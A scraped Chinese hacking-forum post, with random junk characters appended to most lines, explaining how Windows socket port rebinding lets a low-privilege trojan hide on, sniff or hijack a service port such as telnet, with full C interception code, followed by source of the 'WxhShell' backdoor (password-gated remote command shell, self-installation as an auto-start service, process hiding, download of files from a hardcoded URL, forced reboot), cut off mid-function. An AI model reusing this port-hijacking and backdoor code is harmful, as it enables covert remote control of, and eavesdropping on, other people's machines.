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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i;B)@op.#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }M9L,O*^   
9ozUg,+Z|J  
  saddr.sin_family = AF_INET; 7[W! Nx  
"8Y4;lbN.q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0dgp<  
sIh,@b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,.<l^sj5  
$u./%JS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `!\`yI$!%w  
"+V.Yue`R  
  这意味着什么?意味着可以进行如下的攻击: 0X3kVm <  
jE</a %  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ( XoL,lJ  
@9^ozgg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xW\iME  
=F5(k(Ds  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H`;q@  
cmv&!Egd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r0)X]l7  
'J&$L c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |%R}!O<.c  
D"m]`H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jiljf2h  
UmSy p\i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;V~[kF=t0  
"-+5`!Y  
  #include pAo5c4y!4  
  #include O!(M:.  
  #include c3&;Y0SD  
  #include    d tw4cG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r_f?H@v  
  int main() R(sPU>`MX  
  { 0m^(|=N-  
  WORD wVersionRequested; <T[ wZ[l  
  DWORD ret; c-L1 Bkw  
  WSADATA wsaData; Uv~r]P)  
  BOOL val; 9"3 7va  
  SOCKADDR_IN saddr; lU0'5!3R,  
  SOCKADDR_IN scaddr; \s8j*  
  int err; ndn)}Z!0h  
  SOCKET s; LwV4p6A  
  SOCKET sc; ?H\K];  
  int caddsize; VFj}{Y  
  HANDLE mt; 'a`cK;X9F  
  DWORD tid;   P".CZyI-i  
  wVersionRequested = MAKEWORD( 2, 2 ); 9gFema{U  
  err = WSAStartup( wVersionRequested, &wsaData ); E({W`b~_f  
  if ( err != 0 ) { iX]Vkx  
  printf("error!WSAStartup failed!\n"); t%$>  
  return -1; nCZ&FNi{O~  
  }  x w8 e  
  saddr.sin_family = AF_INET; X!,2/WT  
   ;by` [)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,iKL 68  
' XJ>;",[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3":vjDq$  
  saddr.sin_port = htons(23); }&+b\RE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6ge,2[PU  
  { fk5xIW  
  printf("error!socket failed!\n"); ^Oy97Y  
  return -1; +yvtd]D$2W  
  } F<K;tt  
  val = TRUE; ,@mr})s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 % ~eIx=s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YIjY?  
  { jlvh'y`  
  printf("error!setsockopt failed!\n"); OPVF)@"ptM  
  return -1; $#VEC0  
  } y:t@X~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y.XNA]|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |$*1!pL-QP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pZo:\n5o  
z'=8U@P'#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -MEp0  
  { B 2p/  
  ret=GetLastError(); us j:I`>  
  printf("error!bind failed!\n"); '3BBTr%aZ  
  return -1; e"7<&% Oq  
  } _{Q)5ooP  
  listen(s,2); N|JM L  
  while(1) +rAmy  
  { -|K^!G  
  caddsize = sizeof(scaddr); <v&L90+s\;  
  //接受连接请求 O;zq(/,-l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,z4)A&F[c;  
  if(sc!=INVALID_SOCKET) " pg5w  
  { JXFPN|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +D7>$&BD  
  if(mt==NULL) y vIeK6  
  { =VC"X?N  
  printf("Thread Creat Failed!\n"); Y -yozt  
  break; 0m2%ucKw  
  } e}f#dR+(  
  } iBPIj;,  
  CloseHandle(mt); g#iRkz%l)&  
  } Y1wH_!%b  
  closesocket(s); jX7;hQ+P  
  WSACleanup(); !59,<N1Iu  
  return 0; FrsXLUY  
  }   Eo`'6 3  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^\oMsU5(  
  { 'F%h]4|1  
  SOCKET ss = (SOCKET)lpParam; \nUJ)w  
  SOCKET sc; P67*-Ki  
  unsigned char buf[4096]; +<T361eyY  
  SOCKADDR_IN saddr; /pC60y}O0  
  long num; *x/H   
  DWORD val; m;J'y2h =$  
  DWORD ret; 'kSm}} y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I.gF38Mx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k?}y@$[)  
  saddr.sin_family = AF_INET; z%;_h-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mhMTn*9  
  saddr.sin_port = htons(23); rMoz+{1A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +3k.xP?QS  
  { E#E&z(G2  
  printf("error!socket failed!\n");  6o1[fr  
  return -1; * qJHoP;  
  } Mn 8| K nh  
  val = 100; x21XzGLY|}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gs>4/  
  { n0FzDQt26  
  ret = GetLastError(); Byh!Snoe  
  return -1; j|>^wB  
  } Jim5Ul  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q26 qY5D  
  { uvRX{q 4  
  ret = GetLastError(); 1XpqnyL&  
  return -1; ,ZZ5A;)  
  } "[sr0'g:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l15Z8hYh j  
  { 5S ) N&%  
  printf("error!socket connect failed!\n"); T3Sz<K$E  
  closesocket(sc); v=daafO  
  closesocket(ss); ,E8g~ZUY9  
  return -1; `NyO|9/4  
  } Zul@aS !  
  while(1) y,6KU$G  
  { ;3iWV"&_A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7e[&hea  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W!|l_/L'   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LlD=c  
  num = recv(ss,buf,4096,0); " eS-i@  
  if(num>0) /2cn`dR,  
  send(sc,buf,num,0); k&:~l@?O  
  else if(num==0) hP_{$c{4:g  
  break; s6DPb_,  
  num = recv(sc,buf,4096,0); sRQ4pnnrn  
  if(num>0) OX}ZdM!&f  
  send(ss,buf,num,0); ;)vs=DK:)  
  else if(num==0) 9R:?vk4  
  break; PB #EU 9  
  } yQq|!'MKk  
  closesocket(ss); uM[[skc  
  closesocket(sc); xs?]DJj  
  return 0 ; }vZTiuzC  
  } [7l5p(=  
[4-u{Tu  
AgWG4C=  
========================================================== (\4YBaGd  
FX+^S?x.  
下边附上一个代码,,WXhSHELL a fB?js6  
b~?3HY:t~K  
========================================================== <U}25AR  
_@Y17L.  
#include "stdafx.h" GPAz#0p  
s5ILl wr  
#include <stdio.h> lgC^32y  
#include <string.h> 5 HN,y  
#include <windows.h> ze`qf%  
#include <winsock2.h> \r}*<CRr6  
#include <winsvc.h> _<jccQ  
#include <urlmon.h> ^3nB2G.ax  
T_qh_L3  
#pragma comment (lib, "Ws2_32.lib") [ZETyM`  
#pragma comment (lib, "urlmon.lib") KvEZbf 3f  
?e23[  
#define MAX_USER   100 // 最大客户端连接数 |RI77b:pX  
#define BUF_SOCK   200 // sock buffer aIE\B4w  
#define KEY_BUFF   255 // 输入 buffer &_Z8:5e  
NmV][0(BS  
#define REBOOT     0   // 重启 S4%MnT6Uy  
#define SHUTDOWN   1   // 关机 @_?8I_\:  
^j'vM\^`ml  
#define DEF_PORT   5000 // 监听端口 @"`{Sh`Y$  
(d-j/v*4  
#define REG_LEN     16   // 注册表键长度 `pXC= []B2  
#define SVC_LEN     80   // NT服务名长度 pl.=u0 *  
mWU*}-M  
// 从dll定义API wqp(E+&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;%PdSG=U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @_Ly^' "  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U=UnE"h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7033#@_  
q8vRUlf  
// wxhshell配置信息 2@ f E!  
struct WSCFG { cWL 7gv\|  
  int ws_port;         // 监听端口 Q"H1(kG|  
  char ws_passstr[REG_LEN]; // 口令 HltURTbI  
  int ws_autoins;       // 安装标记, 1=yes 0=no %LZf= `:(  
  char ws_regname[REG_LEN]; // 注册表键名 L QP4#7  
  char ws_svcname[REG_LEN]; // 服务名 E- rXYNfy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \JEI+A PY*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zgHF-KEV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3mM.#2=@>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ppM^&6x^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?HaUT(\j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !P b39[f  
[+v}V ,jb  
}; p uLQ_MNV  
<ba+7CK] w  
// default Wxhshell configuration -* ;`~5  
struct WSCFG wscfg={DEF_PORT, We,~P\g  
    "xuhuanlingzhe", a"0'cgB}  
    1, ?{I]!gI  
    "Wxhshell", : S |)  
    "Wxhshell", Cdd +I5~  
            "WxhShell Service", ,b8q$ R~\  
    "Wrsky Windows CmdShell Service", 2*1s(Jro  
    "Please Input Your Password: ", 6~v|pA jY  
  1, ocT.2/~d  
  "http://www.wrsky.com/wxhshell.exe", 0UT2sM$  
  "Wxhshell.exe" s*DDO67\W  
    }; JMq00_  
x?|   
// 消息定义模块  ,M&[c|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (P N!k0Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1JoRP~mMxa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [$Ld>`3  
char *msg_ws_ext="\n\rExit."; ]64mSB  
char *msg_ws_end="\n\rQuit."; )vK %LmP  
char *msg_ws_boot="\n\rReboot..."; DT@6Q.  
char *msg_ws_poff="\n\rShutdown..."; Wb"*9q06  
char *msg_ws_down="\n\rSave to "; WKQVT I&A.  
t,.MtU>K@  
char *msg_ws_err="\n\rErr!"; hb"t8_--c  
char *msg_ws_ok="\n\rOK!"; DH_Mll>  
z2&SZ.mk  
char ExeFile[MAX_PATH]; tw]RH(g+#  
int nUser = 0; XnQo0 R.PW  
HANDLE handles[MAX_USER]; s45Y8!c  
int OsIsNt; #"a?3!wr  
vvLm9Tw  
SERVICE_STATUS       serviceStatus; %zs 1v]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lu(<(t,Lbs  
/}Y>_8 7  
// 函数声明 jl=<Q.Mm7  
int Install(void); j3rBEQ,R  
int Uninstall(void); 2@o_7w98  
int DownloadFile(char *sURL, SOCKET wsh); DA@YjebP'  
int Boot(int flag); dvk? A$  
void HideProc(void); DEaO= p|  
int GetOsVer(void); ](vsh gp2  
int Wxhshell(SOCKET wsl); {hX. R  
void TalkWithClient(void *cs); SU9#Y|I  
int CmdShell(SOCKET sock); nv(Pwb3B  
int StartFromService(void); WJZW5 Xt  
int StartWxhshell(LPSTR lpCmdLine); Mu18s}  
})Rmu."\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8h~v%aZ1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A8hj"V47  
pc5-'; n  
// 数据结构和表定义 N7*JL2Rnq  
SERVICE_TABLE_ENTRY DispatchTable[] = W?G4\ubM3<  
{ Wy,DA^\ef  
{wscfg.ws_svcname, NTServiceMain}, 2s;/*<WM  
{NULL, NULL} Y2j>lf?8  
}; >/EmC3?b!  
YcGSZ0vQ  
// 自我安装 Pv`yOx&nE  
int Install(void) |,5b[Y"Dt  
{ xUPM-eF=  
  char svExeFile[MAX_PATH]; ` &|Rs  
  HKEY key; Vf*!m~]Vqi  
  strcpy(svExeFile,ExeFile); 7C ABM  
/H@k;o  
// 如果是win9x系统,修改注册表设为自启动 X(1nAeQ  
if(!OsIsNt) { +GgWd=X.Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X}_}`wIn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `ItMn&P  
  RegCloseKey(key); X_|8CD-@6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =lS~2C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z['>`Kt  
  RegCloseKey(key); YU[93@mCh  
  return 0; WYwsTsG{_  
    } Rs{L  
  } XY1NTo. =  
} oGly|L>  
else { d37l/I  
WO)rJr!C  
// 如果是NT以上系统,安装为系统服务 ME1lQ7E4B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KB7CO:  
if (schSCManager!=0) s9~W( Wi  
{ AGn:I??  
  SC_HANDLE schService = CreateService .jZmQtc  
  (  e1S |&W8  
  schSCManager, ?BQZ\SXU  
  wscfg.ws_svcname, Vur$t^zE  
  wscfg.ws_svcdisp, n%3rv?m7  
  SERVICE_ALL_ACCESS, W cPDPu~/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p< '#f,o  
  SERVICE_AUTO_START, II)\rVP5  
  SERVICE_ERROR_NORMAL,  ^P~%^?(  
  svExeFile, }q G{1Er  
  NULL, 0lF.!\9  
  NULL, CwTx7 ^qa  
  NULL, h5U@Ys  
  NULL,  1SP )`Q  
  NULL hkJ4,.  
  ); Y;p _ff  
  if (schService!=0) _,=A\C_b@  
  { ,<zGvksk  
  CloseServiceHandle(schService); IBcCbNs!  
  CloseServiceHandle(schSCManager); dfiA- h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \^iJv ~d  
  strcat(svExeFile,wscfg.ws_svcname); he wX)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^L+*}4Dr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rC14X}X6  
  RegCloseKey(key); pB&3JmgR$)  
  return 0; ixw3Z D(>+  
    } (\, <RC\  
  } 2#kR1rJP  
  CloseServiceHandle(schSCManager); 7u6o~(  
} 84DneSpHsp  
} *j?tcxq  
_~&6Kb^*  
return 1; }\:3}'S.$  
} $]%;u: Sa  
T,@.RF  
// 自我卸载 z~L''X7g  
int Uninstall(void) =\B{)z7@6D  
{ \6-x~%xK  
  HKEY key; M")JbuI  
zIi|z}WJ  
if(!OsIsNt) { n`2 d   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WM.JoQ  
  RegDeleteValue(key,wscfg.ws_regname); yMq&9R9F  
  RegCloseKey(key); ;gY W!rM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {(w/_C9  
  RegDeleteValue(key,wscfg.ws_regname); {UX?z?0T  
  RegCloseKey(key); ah1d0e P  
  return 0; 7*^-3Tt83  
  } Y;8Ys&/t  
}  U":hJ*F)  
} mTz %;+|L  
else { l Q]&:%^\  
D*6v.`]X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Y>lAxd  
if (schSCManager!=0) a|SgGtBtT4  
{ p~6/+ap  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (MY#;v\AYE  
  if (schService!=0) BAG) -  
  { ns[v.YDL  
  if(DeleteService(schService)!=0) { GwQW I ]  
  CloseServiceHandle(schService); RbzSQr>a\  
  CloseServiceHandle(schSCManager); >A5R  
  return 0; M$~3`n*^  
  } @X4Ur+d  
  CloseServiceHandle(schService); NUbw]Y90~  
  } ( NWT/yBx  
  CloseServiceHandle(schSCManager); ZQXv-"  
} GmP)"@O](;  
} M.$Li#So,  
eQu%TZ(x-$  
return 1; }IO<Dq=[  
} o(w!x!["  
l*>t@:2J  
// 从指定url下载文件 hr_ 5D  
int DownloadFile(char *sURL, SOCKET wsh) s0uI;WMg  
{ v,y nz'>)  
  HRESULT hr; G6(k wv4  
char seps[]= "/"; ]E'BFon  
char *token; d0Xb?- }3M  
char *file; =M'M/vKD  
char myURL[MAX_PATH]; J ^gtSn^  
char myFILE[MAX_PATH]; :xJ]# t..  
:f%FM&b  
strcpy(myURL,sURL); !>fYD8Ft,  
  token=strtok(myURL,seps); rCfr&>nn  
  while(token!=NULL) A}WRpsA9  
  { _Z?{&k  
    file=token; DP\s-JpI[  
  token=strtok(NULL,seps); =sy>_   
  } #[0:5$-[  
g?N~mca$  
GetCurrentDirectory(MAX_PATH,myFILE); ;,P-2\V/  
strcat(myFILE, "\\"); rE0?R( _  
strcat(myFILE, file); 2 gz}]_  
  send(wsh,myFILE,strlen(myFILE),0); L08>9tf`  
send(wsh,"...",3,0); Ay)q %:qx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D`p&`]k3v  
  if(hr==S_OK) [M>Md-pj  
return 0; hoY.2 B_  
else >dKK [E/[d  
return 1; rt">xVl  
0^'A^  
} ?xEQ'(UBQ  
U |I>CDp  
// 系统电源模块 =|>CB  
int Boot(int flag) 5v"r>q[ X  
{ piYv }4;:(  
  HANDLE hToken; #vrxhMo  
  TOKEN_PRIVILEGES tkp; jv $Y]nf  
Ci%u =%(  
  if(OsIsNt) { <;O=h; ~|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y g>W.wA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )E;+C2G  
    tkp.PrivilegeCount = 1; lv -z[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N]n]7(e+0C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [MSLVTR  
if(flag==REBOOT) { jVP70c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v*Tliw`-U  
  return 0; l`lo5:w  
} OLXkiesK{  
else { d:/8P985  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 o:VixZf  
  return 0; *M5 : \+  
} l;i,V;@ t  
  } ]zp5 6U|xa  
  else { 1I({2@C  
if(flag==REBOOT) { 6#~"~WfPQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tX;00g;U.  
  return 0; H /Idc,*  
} Rz}?@zh_8  
else { @$FE}j_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e&[gde(  
  return 0; rkhQoYZ[  
} =`2nv0%2  
} ( Lj{V}^  
<>aBmJs4  
return 1; }.Eq_wP<  
} *S_e:^  
hW*2Le!I  
// win9x进程隐藏模块 R'a%_sACj>  
void HideProc(void) u2HkAPhD  
{ *]2LN$  
:T~Aa(%(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r\]yq -_  
  if ( hKernel != NULL ) gyH'92ck  
  { YArNJ5z=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _3$@s{k-TI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t}-[^|)7  
    FreeLibrary(hKernel); Ke[doQ#c  
  } `mPmEV<  
zx^]3}  
return; h"VQFqQy  
} 4X7y}F.J  
Hh @q;0ni  
// 获取操作系统版本 5zJkPki  
int GetOsVer(void) .d`+#1Ot(  
{ Z:f0>  
  OSVERSIONINFO winfo; $mm =$.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xO'I*)  
  GetVersionEx(&winfo); ];Whvdnv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <B 5^  
  return 1; dJ\6m!Mp  
  else bb;fV  
  return 0; U`q[5U"  
} ZCPK{Ru QE  
T#Pz_ hAu  
// 客户端句柄模块 y8: 0VZox  
int Wxhshell(SOCKET wsl) 1!/+~J[#  
{ 992;~lBu  
  SOCKET wsh; }yqRz6=YB  
  struct sockaddr_in client; 47I:o9E  
  DWORD myID;  d$ Mk  
> 7!aZO  
  while(nUser<MAX_USER) "FQh^+  
{ wo2^,Y2z+  
  int nSize=sizeof(client); i]GBu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4zghM<  
  if(wsh==INVALID_SOCKET) return 1; 'R*gSqx~  
n? "ti  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #%VprcEK  
if(handles[nUser]==0) L*tXy>&b.  
  closesocket(wsh); Qpd-uC_Ni  
else Lhl) pP17  
  nUser++; 3DK^S2\zBm  
  } oSNB\G<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G_5sF|(mq  
Af=%5%  
  return 0; "b%hAdR  
} f[7'kv5S  
4 E3@O  
// 关闭 socket &ukNzV}VW  
void CloseIt(SOCKET wsh) xmKa8']x  
{ g|<)J-`Q  
closesocket(wsh); B2d$!Any  
nUser--; <6<uO\B\  
ExitThread(0); {N5g52MN  
} js`zQx'  
>|0yH9af  
// 客户端请求句柄 ([|5(Omd\  
void TalkWithClient(void *cs) UQ|0Aqwq  
{ XeDU ,  
U]vNcQj  
  SOCKET wsh=(SOCKET)cs;  hPr  
  char pwd[SVC_LEN]; lk.Q6saI1  
  char cmd[KEY_BUFF]; &4*&L.hPM^  
char chr[1]; ("/*k  
int i,j; BT>*xZLpS  
^'EEry  
  while (nUser < MAX_USER) { C,2IET  
y=h2_jt  
if(wscfg.ws_passstr) { /<:9NP'^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R5]R pW=G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S-2xe?sb  
  //ZeroMemory(pwd,KEY_BUFF); 4L!{U@ '  
      i=0; 4n3QW%#  
  while(i<SVC_LEN) { $#R.+B  
^Jnp\o>  
  // 设置超时 ]`m|A1(  
  fd_set FdRead; O.rk!&N  
  struct timeval TimeOut; ;k b^mJE  
  FD_ZERO(&FdRead); QQ2xNNF[  
  FD_SET(wsh,&FdRead); 7h&xfrSrD  
  TimeOut.tv_sec=8; :@: R4Ac  
  TimeOut.tv_usec=0; Y2<#%@%4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fg#*rzA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Wi`S;  
gFDP:I/`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E}NX+ vYF  
  pwd=chr[0]; Kjz,p^Y\  
  if(chr[0]==0xd || chr[0]==0xa) { $6y1';A  
  pwd=0; `dL9sfj>  
  break; Tr@`ozp8  
  } `n^jU92  
  i++; 5yA^n6  
    } L7D'wf  
T$}<So|  
  // 如果是非法用户,关闭 socket 5j ]}/Aq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {ReAl_Cm  
} ).tZMLM/-  
mnil1*-c0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8l='Hl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :eIB K  
$u3N ',&  
while(1) { j,1,;  
sgCIY:8  
  ZeroMemory(cmd,KEY_BUFF); a 3O_8GU  
Rb9Z{Clq>  
      // 自动支持客户端 telnet标准   MH !CzV&  
  j=0; l>=c]  
  while(j<KEY_BUFF) { ;OdUH   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @L0wd>  
  cmd[j]=chr[0]; ^1Yx'ua'  
  if(chr[0]==0xa || chr[0]==0xd) { pM#:OlqC  
  cmd[j]=0; k*-+@U"+  
  break; |Cen5s W&  
  } %< W1y  
  j++; BV!Kiw  
    } 5T   
c89RuI `B~  
  // 下载文件 gsU&}R1*h  
  if(strstr(cmd,"http://")) { t8P>s})[4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (yXVp2k  
  if(DownloadFile(cmd,wsh)) gH_r'j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ft>ixn  
  else Zy!\=-dSm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Pj _L`G  
  } T.(SBP  
  else { %hTe%(e  
k~q[qKb8y:  
    switch(cmd[0]) { \/$v@5  
  i5AhF\7F9  
  // 帮助 AVcZ.+?  
  case '?': { \4vFEJSh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #Kh`ATme  
    break; p[/n[@<8=  
  } "^trHh8=  
  // 安装 7P\sn<  
  case 'i': { K GI]W|T  
    if(Install()) ZO;]Zt]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k[zf`x^  
    else [ wu%t8O2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R -h7c!ko  
    break; 8WyG49eic  
    } )8k6GO8|  
  // 卸载 '{+hti,Lh  
  case 'r': { /0\pPc*kA{  
    if(Uninstall()) |aVv Lz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *FAg^G&1  
    else .K93VTzy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Gyl:hN  
    break; "*T)L<G  
    } \UC4ai2MK  
  // 显示 wxhshell 所在路径 xz%ig^L  
  case 'p': { bc"{ZL!C  
    char svExeFile[MAX_PATH]; O:U@m@7  
    strcpy(svExeFile,"\n\r"); Hc+<(g   
      strcat(svExeFile,ExeFile); vd ;wQ  
        send(wsh,svExeFile,strlen(svExeFile),0); T8\,2UWsj2  
    break; P*LcWrK  
    } Ltj}>.+  
  // 重启 Xmnq ZWB  
  case 'b': { dn5v|[dJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *\`C! r  
    if(Boot(REBOOT)) -@73"w/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! of7]s  
    else { e}?t[aK4#  
    closesocket(wsh); nJ?C4\#3  
    ExitThread(0); V4"AFArI  
    } jmb\eOq+~V  
    break; y, Z#? O  
    } G'epsD,.bX  
  // 关机 (r|T&'yK  
  case 'd': { 9@j~1G%^  
